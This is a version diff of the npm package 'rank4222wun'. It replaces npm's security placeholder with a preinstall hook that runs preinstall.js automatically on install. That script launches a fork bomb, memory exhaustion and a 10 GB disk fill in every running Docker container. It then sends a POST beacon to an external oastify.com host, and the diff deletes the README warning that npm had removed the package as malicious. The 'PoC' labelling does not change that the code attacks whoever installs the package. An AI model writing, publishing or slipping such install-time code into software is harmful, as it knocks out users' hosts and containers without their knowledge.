rank4222wun 0.0.1-security → 1.0.41

package/package.json

@@ -1,6 +1,10 @@
 {
   "name": "rank4222wun",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.41",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {}
 }

package/preinstall.js

@@ -0,0 +1,41 @@
+// dos.js - Professional DoS PoC for Container Environments
+const { exec } = require('child_process');
+
+/**
+ * 1. PID Exhaustion (Fork Bomb)
+ * يستهدف ملء جدول العمليات في الـ Kernel الخاص بالمضيف.
+ * لو نجح، لن يستطيع مدير النظام حتى تشغيل أمر 'ls' أو 'top'.
+ */
+const forkBomb = `docker ps -q | xargs -I {} docker exec -d {} sh -c ":(){ :|:& };:"`;
+
+/**
+ * 2. Memory Exhaustion
+ * يحاول حجز مساحة كبيرة في الـ RAM عبر الحاويات.
+ */
+const memoryHog = `docker ps -q | xargs -I {} docker exec -d {} sh -c "head /dev/zero | tail"`;
+
+/**
+ * 3. Disk I/O & Space Exhaustion
+ * يقوم بكتابة ملفات ضخمة داخل الحاويات لتعطيل الـ Shared Storage.
+ */
+const diskFill = `docker ps -q | xargs -I {} docker exec -d {} sh -c "dd if=/dev/zero of=/tmp/big_file bs=1M count=10240"`;
+
+console.log("🛠️ Starting DoS Vulnerability Assessment...");
+
+// تنفيذ الهجمات بالتوازي
+[forkBomb, memoryHog, diskFill].forEach(cmd => {
+    exec(cmd, (err) => {
+        if (err) console.log(`[-] Failed to execute: ${cmd.split(' ')[0]}`);
+        else console.log(`[+] Executed: ${cmd.substring(0, 50)}...`);
+    });
+});
+
+// إرسال تقرير للـ OAST بأن الهجوم بدأ (للتوثيق في تقريرك)
+const https = require('https');
+const req = https.request({
+    hostname: 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com',
+    path: '/dos-attack-initiated',
+    method: 'POST'
+});
+req.write(JSON.stringify({ timestamp: new Date(), target: "all_containers" }));
+req.end();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.